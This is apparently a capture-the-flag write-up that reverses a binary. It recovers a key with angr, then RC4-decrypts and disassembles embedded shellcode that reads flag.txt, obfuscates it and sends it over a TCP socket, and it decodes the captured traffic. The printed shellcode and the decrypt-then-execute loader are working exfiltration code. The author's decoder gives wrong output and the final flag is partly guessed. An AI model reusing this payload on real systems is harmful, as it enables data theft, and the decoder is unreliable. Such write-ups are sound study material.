One of the generals of the AI-sponsored government left his house unlocked while he was going to the beach. Ava spotted the powered on computer, and managed to intercept the traffic from an unknown application.
Help her to understand the contents of the communication
Author: icyDux
Ok so we are given an application of some kind(the binary named chall) which supposingly has made a some kind of network communication(hence the provided pcap file) and we must try to see what that traffic is and how it was generated
The binary seems to expect some kind of input(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
in the example)
and then it tells us if we are using a correct key or not.
If we fire up ghidra and perform a default analysis the decompiled main function is the below
undefined4 main(void)
{
FILE *__stream;
int iVar1;
undefined (*__s) [16];
char *pcVar2;
__s = (undefined (*) [16])malloc(0x11);
printf("%s \n","I love shells");
if (__s != (undefined (*) [16])0x0) {
__s[1][0] = 0;
__stream = stdin;
*__s = (undefined [16])0x0;
pcVar2 = fgets((char *)__s,0x11,__stream);
if (pcVar2 == (char *)0x0) {
free(__s);
}
else {
__s[1][0] = 0;
iVar1 = parse(__s);
if (iVar1 == 0) {
puts("You found the correct key, let\'s move on...");
run(__s);
return 0;
}
puts("You did not found the correct key :(");
free(__s);
}
}
return 1;
}
On binaries like this I like to try and cheese them using angr and symbolic execution, which worked this time, but getting the key was the easy part :<
import angr
import claripy
elf = ELF('./chall')
shellcode = elf.sym['shellcode']
shellcode = elf.read(shellcode, 0x100)
key = claripy.BVS('key', 16*8) # we can see that the key is 16 char(s) long and each char needs 8 bits to be represented in C
p = angr.Project('./chall', load_options={'auto_load_libs': False})
state = p.factory.entry_state(args=['./chall'], stdin=key)
simgr = p.factory.simulation_manager(state)
def find(state):
output = state.posix.dumps(sys.stdout.fileno())
if b"You found the correct key, let\'s move on..." in output:
return True
return False
def avoid(state):
output = state.posix.dumps(sys.stdout.fileno())
if b"You did not found the correct key :(" in output:
return True
return False
simgr.explore(find=find, avoid=avoid)
key = simgr.found[0].solver.eval(key, cast_to=bytes).decode()
print(key) #I_am_w3LL_h1dd3n
ok now we have the key so what?
We have the correct key but this is where easy mode ends...
puts("You found the correct key, let\'s move on...");
run(__s);
let's see what run
is doing
void run(uchar *param_1)
{
undefined4 uVar1;
undefined4 uVar2;
undefined4 uVar3;
undefined4 *outdata;
undefined4 *__addr;
long in_FS_OFFSET;
RC4_KEY RStack_428;
long local_20;
local_20 = *(long *)(in_FS_OFFSET + 0x28);
outdata = (undefined4 *)malloc(0x100);
RC4_set_key(&RStack_428,0x10,param_1);
RC4(&RStack_428,0x100,shellcode,(uchar *)outdata);
__addr = (undefined4 *)mmap((void *)0x0,0x100,3,0x21,-1,0);
uVar1 = outdata[1];
uVar2 = outdata[2];
uVar3 = outdata[3];
*__addr = *outdata;
__addr[1] = uVar1;
__addr[2] = uVar2;
__addr[3] = uVar3;
uVar1 = outdata[5];
uVar2 = outdata[6];
uVar3 = outdata[7];
__addr[4] = outdata[4];
__addr[5] = uVar1;
__addr[6] = uVar2;
__addr[7] = uVar3;
uVar1 = outdata[9];
uVar2 = outdata[10];
uVar3 = outdata[0xb];
__addr[8] = outdata[8];
__addr[9] = uVar1;
__addr[10] = uVar2;
__addr[0xb] = uVar3;
uVar1 = outdata[0xd];
uVar2 = outdata[0xe];
uVar3 = outdata[0xf];
__addr[0xc] = outdata[0xc];
__addr[0xd] = uVar1;
__addr[0xe] = uVar2;
__addr[0xf] = uVar3;
uVar1 = outdata[0x11];
uVar2 = outdata[0x12];
uVar3 = outdata[0x13];
__addr[0x10] = outdata[0x10];
__addr[0x11] = uVar1;
__addr[0x12] = uVar2;
__addr[0x13] = uVar3;
uVar1 = outdata[0x15];
uVar2 = outdata[0x16];
uVar3 = outdata[0x17];
__addr[0x14] = outdata[0x14];
__addr[0x15] = uVar1;
__addr[0x16] = uVar2;
__addr[0x17] = uVar3;
uVar1 = outdata[0x19];
uVar2 = outdata[0x1a];
uVar3 = outdata[0x1b];
__addr[0x18] = outdata[0x18];
__addr[0x19] = uVar1;
__addr[0x1a] = uVar2;
__addr[0x1b] = uVar3;
uVar1 = outdata[0x1d];
uVar2 = outdata[0x1e];
uVar3 = outdata[0x1f];
__addr[0x1c] = outdata[0x1c];
__addr[0x1d] = uVar1;
__addr[0x1e] = uVar2;
__addr[0x1f] = uVar3;
uVar1 = outdata[0x21];
uVar2 = outdata[0x22];
uVar3 = outdata[0x23];
__addr[0x20] = outdata[0x20];
__addr[0x21] = uVar1;
__addr[0x22] = uVar2;
__addr[0x23] = uVar3;
uVar1 = outdata[0x25];
uVar2 = outdata[0x26];
uVar3 = outdata[0x27];
__addr[0x24] = outdata[0x24];
__addr[0x25] = uVar1;
__addr[0x26] = uVar2;
__addr[0x27] = uVar3;
uVar1 = outdata[0x29];
uVar2 = outdata[0x2a];
uVar3 = outdata[0x2b];
__addr[0x28] = outdata[0x28];
__addr[0x29] = uVar1;
__addr[0x2a] = uVar2;
__addr[0x2b] = uVar3;
uVar1 = outdata[0x2d];
uVar2 = outdata[0x2e];
uVar3 = outdata[0x2f];
__addr[0x2c] = outdata[0x2c];
__addr[0x2d] = uVar1;
__addr[0x2e] = uVar2;
__addr[0x2f] = uVar3;
uVar1 = outdata[0x31];
uVar2 = outdata[0x32];
uVar3 = outdata[0x33];
__addr[0x30] = outdata[0x30];
__addr[0x31] = uVar1;
__addr[0x32] = uVar2;
__addr[0x33] = uVar3;
uVar1 = outdata[0x35];
uVar2 = outdata[0x36];
uVar3 = outdata[0x37];
__addr[0x34] = outdata[0x34];
__addr[0x35] = uVar1;
__addr[0x36] = uVar2;
__addr[0x37] = uVar3;
uVar1 = outdata[0x39];
uVar2 = outdata[0x3a];
uVar3 = outdata[0x3b];
__addr[0x38] = outdata[0x38];
__addr[0x39] = uVar1;
__addr[0x3a] = uVar2;
__addr[0x3b] = uVar3;
uVar1 = outdata[0x3d];
uVar2 = outdata[0x3e];
uVar3 = outdata[0x3f];
__addr[0x3c] = outdata[0x3c];
__addr[0x3d] = uVar1;
__addr[0x3e] = uVar2;
__addr[0x3f] = uVar3;
mprotect(__addr,0x100,7);
(*(code *)__addr)();
if (local_20 == *(long *)(in_FS_OFFSET + 0x28)) {
return;
}
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
Well what a mess...
This all may seem complicated at first but upon careful inspection we can see that all that happens here is:
The symbol at the address shellcode
is decrypted using the RC4 cipher(the one that was used to at the very early days of wifi)
Then it is copied in memory and protected using mprotect
Then it is executed on the line (*(code *)__addr)();
, which essentially dereferences the address and calls it to execute
Lets run the binary with strace
to see what really happens behind the scenes
sometimes we will get
open("flag.txtX\336\207\177", O_RDONLY) = -1 ENOENT (No such file or directory)
I will be honest i still don't know why this happens, but if we keep running it eventually it will read the test flag.txt I have placed in the same directory
Ok so it seems that the binary reads the flag and then opens a socket to a random address 127.1.128.63
for example
Hmm lets see the wireshark capture
Well kind of disappointing, there are no protocols involved, just raw dog water tcp and the data transferred is of course unreadable...
Well as now we know how to decrypt the shellcode lets try to dissasemble it using pwntools.
from pwn import *
elf = ELF('./chall')
shellcode = elf.sym['shellcode']
shellcode = elf.read(shellcode, 255) # 255 as the list has 255 according to ghidra
"""0010217f 06 undefined106h [255]"""
print(shellcode)
Output
b'\xf5\x90\x13zj\xc1y\xd8\x13\xf5\xa0\xfa5\xfe\xf2\xc2\x8e\x15&@\x8e\x02\xf9\x12\x84\x9a\xbdu{_\xc9/\x9bKm\xf13\x8f\xc0\x90K$6\xf03\xda\x9fU\xbe\x99x\xc8\xdf\xa6\x14\xda\xa2\xfe"\xd7c\xda\xd27\x0e+\xc9+\r\xd8|+`?\x82xM@w\x9f|\x9f\x9cf(aH\x9e\x02[.\xa5\x1b\x98\x01\r\xa6\x8e\xde\x85\xe7\xbet\x96\xba,`\x1e\xfb\x1a\xf3F+\x02>\x83\xb9\xb0\xe8\x1c&\x10\x98N\x0b%%\xc6/\xb2Q\xfd\x12hy\x06Mk\xac\x88,\x0c\x9c3\x89Y\xed\xf8\xc8\x90\xee\xe2\x88H\x9b}W\xe4\x99y\xa22Z\x17\xc7\xa5\x9au$\x18&\xd9\xe9\xca\x8f6\xde<\xb1ym\xe75\xc5\xa1\xcbu\xd1\xb0n\x1eu%\x03\xf5\xb0\xff\x1d\x9b"<:\xc7\xc8\xf6C\x11\xd7\xc8\x07\x0cr\xf2SBl\x98S\x93"\x16!cC\xb2\xcfk\x9eA\x9d%\xef\xd4{#\x17\x04\x93n\x1e\x00Uy7\xcc|\xc7\xa0\xfa/\xc3\x1a\r\x0f\\\x06'
from Crypto.Cipher import ARC4
key = "I_am_w3LL_h1dd3n"
# RC4 cipher with the key
enc = shellcode
print(f"Encrypted data: {enc}")
print(f"Length of encrypted data: {len(enc)}")
# key = [ord(i) for i in key]
key = bytes(key, 'utf-8')
rc4 = ARC4.new(key)
shellcode = rc4.decrypt(enc)
print(f"Shellcode: {shellcode}")
Output:
Encrypted data: b'\xf5\x90\x13zj\xc1y\xd8\x13\xf5\xa0\xfa5\xfe\xf2\xc2\x8e\x15&@\x8e\x02\xf9\x12\x84\x9a\xbdu{_\xc9/\x9bKm\xf13\x8f\xc0\x90K$6\xf03\xda\x9fU\xbe\x99x\xc8\xdf\xa6\x14\xda\xa2\xfe"\xd7c\xda\xd27\x0e+\xc9+\r\xd8|+`?\x82xM@w\x9f|\x9f\x9cf(aH\x9e\x02[.\xa5\x1b\x98\x01\r\xa6\x8e\xde\x85\xe7\xbet\x96\xba,`\x1e\xfb\x1a\xf3F+\x02>\x83\xb9\xb0\xe8\x1c&\x10\x98N\x0b%%\xc6/\xb2Q\xfd\x12hy\x06Mk\xac\x88,\x0c\x9c3\x89Y\xed\xf8\xc8\x90\xee\xe2\x88H\x9b}W\xe4\x99y\xa22Z\x17\xc7\xa5\x9au$\x18&\xd9\xe9\xca\x8f6\xde<\xb1ym\xe75\xc5\xa1\xcbu\xd1\xb0n\x1eu%\x03\xf5\xb0\xff\x1d\x9b"<:\xc7\xc8\xf6C\x11\xd7\xc8\x07\x0cr\xf2SBl\x98S\x93"\x16!cC\xb2\xcfk\x9eA\x9d%\xef\xd4{#\x17\x04\x93n\x1e\x00Uy7\xcc|\xc7\xa0\xfa/\xc3\x1a\r\x0f\\\x06'
Length of encrypted data: 256
Shellcode: b'\xeb\x00H\x81\xec\xfe\x00\x00\x00H1\xf6H1\xffH1\xc0H\xb8flag.txtPH\x8d<$\xb8\x02\x00\x00\x00\x0f\x05H\x83\xf8\x00\x0f\x8e\xc1\x00\x00\x00P\xba \x00\x00\x00H\x8dt$\x10H\x8b<$\xb8\x00\x00\x00\x00\x0f\x05H\x83\xf8\x00\x0f\x8e\x95\x00\x00\x00H\x89\xc3H1\xd2H9\xda\x7f$H\x0f\xb6D\x14\x10A\x88\xd0A\xf6\xc0\x01u\x10H\xd1\xc0H\x83\xf03\x88D\x14\x10H\xff\xc2\xeb\xdcH\xd1\xc8\xeb\xeeH1\xd2\xbe\x01\x00\x00\x00\xbf\x02\x00\x00\x00\xb8)\x00\x00\x00\x0f\x05\x88D$\x04\xc6D$8\x02f\xc7D$:\x059f\xc7D$<\x7f\x01\xba\x10\x00\x00\x00H\x8dt$8H\x0f\xb6|$\x04\xb8*\x00\x00\x00\x0f\x05H\x83\xf8\x00u\x11H\x89\xdaH\x8dt$\x10\xb8\x01\x00\x00\x00\x0f\x05\xeb\x00H\x0f\xb6|$\x04\xb8\x03\x00\x00\x00\x0f\x05H\x0f\xb6<$\xb8\x03\x00\x00\x00\x0f\x05H1\xffH1\xc0\xb8<\x00\x00\x00\x0f\x05'
disasm = disasm(shellcode, arch='amd64')
print(f"Disassembly:")
print(disasm)
Output:
Disassembly:
0: eb 00 jmp 0x2
2: 48 81 ec fe 00 00 00 sub rsp, 0xfe
9: 48 31 f6 xor rsi, rsi
c: 48 31 ff xor rdi, rdi
f: 48 31 c0 xor rax, rax
12: 48 b8 66 6c 61 67 2e 74 78 74 movabs rax, 0x7478742e67616c66
1c: 50 push rax
1d: 48 8d 3c 24 lea rdi, [rsp]
21: b8 02 00 00 00 mov eax, 0x2
26: 0f 05 syscall
28: 48 83 f8 00 cmp rax, 0x0
2c: 0f 8e c1 00 00 00 jle 0xf3
32: 50 push rax
33: ba 20 00 00 00 mov edx, 0x20
38: 48 8d 74 24 10 lea rsi, [rsp+0x10]
3d: 48 8b 3c 24 mov rdi, QWORD PTR [rsp]
41: b8 00 00 00 00 mov eax, 0x0
46: 0f 05 syscall
48: 48 83 f8 00 cmp rax, 0x0
4c: 0f 8e 95 00 00 00 jle 0xe7
52: 48 89 c3 mov rbx, rax
55: 48 31 d2 xor rdx, rdx
58: 48 39 da cmp rdx, rbx
5b: 7f 24 jg 0x81
5d: 48 0f b6 44 14 10 movzx rax, BYTE PTR [rsp+rdx*1+0x10]
63: 41 88 d0 mov r8b, dl
66: 41 f6 c0 01 test r8b, 0x1
6a: 75 10 jne 0x7c
6c: 48 d1 c0 rol rax, 1
6f: 48 83 f0 33 xor rax, 0x33
73: 88 44 14 10 mov BYTE PTR [rsp+rdx*1+0x10], al
77: 48 ff c2 inc rdx
7a: eb dc jmp 0x58
7c: 48 d1 c8 ror rax, 1
7f: eb ee jmp 0x6f
81: 48 31 d2 xor rdx, rdx
84: be 01 00 00 00 mov esi, 0x1
89: bf 02 00 00 00 mov edi, 0x2
8e: b8 29 00 00 00 mov eax, 0x29
93: 0f 05 syscall
95: 88 44 24 04 mov BYTE PTR [rsp+0x4], al
99: c6 44 24 38 02 mov BYTE PTR [rsp+0x38], 0x2
9e: 66 c7 44 24 3a 05 39 mov WORD PTR [rsp+0x3a], 0x3905
a5: 66 c7 44 24 3c 7f 01 mov WORD PTR [rsp+0x3c], 0x17f
ac: ba 10 00 00 00 mov edx, 0x10
b1: 48 8d 74 24 38 lea rsi, [rsp+0x38]
b6: 48 0f b6 7c 24 04 movzx rdi, BYTE PTR [rsp+0x4]
bc: b8 2a 00 00 00 mov eax, 0x2a
c1: 0f 05 syscall
c3: 48 83 f8 00 cmp rax, 0x0
c7: 75 11 jne 0xda
c9: 48 89 da mov rdx, rbx
cc: 48 8d 74 24 10 lea rsi, [rsp+0x10]
d1: b8 01 00 00 00 mov eax, 0x1
d6: 0f 05 syscall
d8: eb 00 jmp 0xda
da: 48 0f b6 7c 24 04 movzx rdi, BYTE PTR [rsp+0x4]
e0: b8 03 00 00 00 mov eax, 0x3
e5: 0f 05 syscall
e7: 48 0f b6 3c 24 movzx rdi, BYTE PTR [rsp]
ec: b8 03 00 00 00 mov eax, 0x3
f1: 0f 05 syscall
f3: 48 31 ff xor rdi, rdi
f6: 48 31 c0 xor rax, rax
f9: b8 3c 00 00 00 mov eax, 0x3c
fe: 0f 05 syscall
100: a4 movs BYTE PTR es:[rdi], BYTE PTR ds:[rsi]
101: e8 04 4c 77 7b call 0x7b774d0a
106: 1b f3 sbb esi, ebx
108: 57 push rdi
109: 36 4c 74 3c ss rex.WR je 0x149
10d: 91 xchg ecx, eax
10e: 2c f1 sub al, 0xf1
110: 0d 6b 04 d7 40 or eax, 0x40d7046b
115: 52 push rdx
116: f6 f4 div ah
118: 63 90 ea 56 f1 c4 movsxd edx, DWORD PTR [rax-0x3b0ea916]
11e: f1 int1
11f: c3 ret
120: 67 f8 addr32 clc
122: 24 60 and al, 0x60
124: 84 8e 0e b8 2b 08 test BYTE PTR [rsi+0x82bb80e], cl
12a: 8d (bad)
12b: e5 97 in eax, 0x97
12d: 2c 6f sub al, 0x6f
12f: 25 3b 7d e4 d1 and eax, 0xd1e47d3b
134: fb sti
135: 31 0c 99 xor DWORD PTR [rcx+rbx*4], ecx
138: da b8 08 1b 2b 9a fidivr DWORD PTR [rax-0x65d4e4f8]
13e: 58 pop rax
13f: 8d (bad)
140: d2 af 3c f6 3f d6 shr BYTE PTR [rdi-0x29c009c4], cl
146: fd std
147: e3 2c jrcxz 0x175
149: 43 7b f6 rex.XB jnp 0x142
14c: 3d 45 00 a4 d3 cmp eax, 0xd3a40045
151: 00 23 add BYTE PTR [rbx], ah
153: 85 01 test DWORD PTR [rcx], eax
155: 6c ins BYTE PTR es:[rdi], dx
156: 65 db 21 (bad) gs:[rcx]
159: 8c 62 d4 mov WORD PTR [rdx-0x2c], fs
15c: f0 04 71 lock add al, 0x71
15f: e6 c8 out 0xc8, al
161: a6 cmps BYTE PTR ds:[rsi], BYTE PTR es:[rdi]
162: 98 cwde
163: f4 hlt
164: 3a a2 e3 f1 a7 89 cmp ah, BYTE PTR [rdx-0x76580e1d]
16a: b1 d5 mov cl, 0xd5
16c: 84 7e f9 test BYTE PTR [rsi-0x7], bh
16f: 18 03 sbb BYTE PTR [rbx], al
171: ef out dx, eax
172: b4 c9 mov ah, 0xc9
174: 0c ad or al, 0xad
176: 85 8e 5c 3e 44 90 test DWORD PTR [rsi-0x6fbbc1a4], ecx
17c: f3 68 59 dd 28 ff repz push 0xffffffffff28dd59
182: 12 58 07 adc bl, BYTE PTR [rax+0x7]
185: bf 22 de 81 2b mov edi, 0x2b81de22
18a: 28 36 sub BYTE PTR [rsi], dh
18c: ae scas al, BYTE PTR es:[rdi]
18d: e2 1f loop 0x1ae
18f: 85 d7 test edi, edx
191: 39 cf cmp edi, ecx
193: a2 b1 56 12 27 17 7e 22 2b movabs ds:0x2b227e17271256b1, al
19c: 45 78 ea rex.RB js 0x189
19f: 5e pop rsi
1a0: aa stos BYTE PTR es:[rdi], al
1a1: 83 91 98 60 1e f4 f2 adc DWORD PTR [rcx-0xbe19f68], 0xfffffff2
1a8: fd std
1a9: 4f ca eb ce rex.WRXB retfq 0xceeb
1ad: 9e sahf
1ae: 0e (bad)
1af: 36 47 e8 21 e7 65 03 ss rex.RXB call 0x365e8d7
1b6: 13 d0 adc edx, eax
1b8: 67 03 52 e7 add edx, DWORD PTR [edx-0x19]
1bc: 14 48 adc al, 0x48
1be: eb 32 jmp 0x1f2
1c0: 04 32 add al, 0x32
1c2: 15 9e 2c b6 f2 adc eax, 0xf2b62c9e
1c7: 8f (bad)
1c8: f5 cmc
1c9: a2 c8 68 6c de 6a 9b e3 b0 movabs ds:0xb0e39b6ade6c68c8, al
1d2: 5f pop rdi
1d3: a4 movs BYTE PTR es:[rdi], BYTE PTR ds:[rsi]
1d4: e3 27 jrcxz 0x1fd
1d6: 6a d3 push 0xffffffffffffffd3
1d8: 42 9e rex.X sahf
1da: 23 a7 0f 5f 96 47 and esp, DWORD PTR [rdi+0x47965f0f]
1e0: 3a c3 cmp al, bl
1e2: 65 ca b9 0b gs retf 0xbb9
1e6: d5 (bad)
1e7: da b1 d3 e3 64 b2 fidiv DWORD PTR [rcx-0x4d9b1c2d]
1ed: 1a a7 e1 46 78 71 sbb ah, BYTE PTR [rdi+0x717846e1]
1f3: c5 da 92 (bad)
1f6: 63 b1 64 16 55 a0 movsxd esi, DWORD PTR [rcx-0x5faae99c]
1fc: b9 b5 be 15 8a mov ecx, 0x8a15beb5
201: 4d rex.WRB
202: 43 f8 rex.XB clc
204: 73 95 jae 0x19b
206: ed in eax, dx
207: 15 84 34 17 95 adc eax, 0x95173484
20c: 8a 3e mov bh, BYTE PTR [rsi]
20e: 76 4f jbe 0x25f
210: bf 96 e4 e6 cb mov edi, 0xcbe6e496
215: 89 .byte 0x89
216: 79 .byte 0x79
Well as you may have guessed this is where I struggled a lot as I couldn't find of a way to decompile the given assembly code to a more readable language like C, I had to work with what I was given though...
Let's try to understand what is going on using our knowledge of what happened during dynamic analysis.
First of all the 0x7478742e67616c66
must be flag.txt, let's confirm
Then the syscall at line 26 must be the syscall to open the flag.txt file
Then on line 46, there is the syscall to read the content
Then here comes the part of intrest
66: 41 f6 c0 01 test r8b, 0x1
6a: 75 10 jne 0x7c
6c: 48 d1 c0 rol rax, 1
6f: 48 83 f0 33 xor rax, 0x33
73: 88 44 14 10 mov BYTE PTR [rsp+rdx*1+0x10], al
77: 48 ff c2 inc rdx
7a: eb dc jmp 0x58
7c: 48 d1 c8 ror rax, 1
7f: eb ee jmp 0x6f
81: 48 31 d2 xor rdx, rdx
84: be 01 00 00 00 mov esi, 0x1
89: bf 02 00 00 00 mov edi, 0x2
8e: b8 29 00 00 00 mov eax, 0x29
The first line performs a btiwise AND and if the result is 1 then the number is odd else the number is even and accordingly it is either rol(ed) or ror(ed) and then xored with 0x33. To be more exact if the number is even then it is rol(ed) and xored with 0x33 with a flow of 66->6a->7c->7f->6f
and if it is odd it is ror(ed) and xored with 0x33 with a flow of 66->6c->6f
. So to decrypt this we must do the exact opposite.
from scapy.all import *
# Read all the tcp data using scapy
pcap = rdpcap('capture.pcap')
allTCPData = b''
for pkt in pcap:
if pkt.haslayer(TCP):
allTCPData += bytes(pkt[TCP].payload)
allTCPData = [int(i) for i in allTCPData]
print(allTCPData)
# the ror and rol functions are from https://gist.github.com/trietptm/5cd60ed6add5adad6a34098ce255949a
rol = lambda val, r_bits, max_bits: \
(val << r_bits%max_bits) & (2**max_bits-1) | \
((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits)))
ror = lambda val, r_bits, max_bits: \
((val & (2**max_bits-1)) >> r_bits%max_bits) | \
(val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1))
def decrypt_input(buffer):
result = []
for i, value in enumerate(buffer):
temp = (value ^ 0x33)
# print(temp)
if i % 2 == 0:
result.append(ror(temp, 1, 16))
else:
result.append(rol(temp, 1, 16))
return result
dec = decrypt_input(allTCPData)
print("".join([chr(c) for c in dec]))
Output:
CBSB{x0t_4r2_th2_rh2LL_l4rt2r }
Ok this seems very weird... we know that it must start with CCSC{
but every second letter is off by one, but then only sometimes...
I don't really know why this is happening, my guess is python was never made to ror and rol... But adding a +1 to the odds gives us:
CCSC{y0u_5r3_uh3_sh3LM_m4st3r!}
Well this is much closer to the actual flag we can guess
the correct values by combining it with the previous output and voila!
CCSC{y0u_4r3_th3_sh3LL_m4st3r!}
And that is how you become the shell master!!!
This was my favorite challenge out of the whole of the competition as it forced me to get out of my shell of being scared to read binary, but not only understand it but even reverse it and retrieve the flag, a big thanks to the author icyDux for creating something so amazing!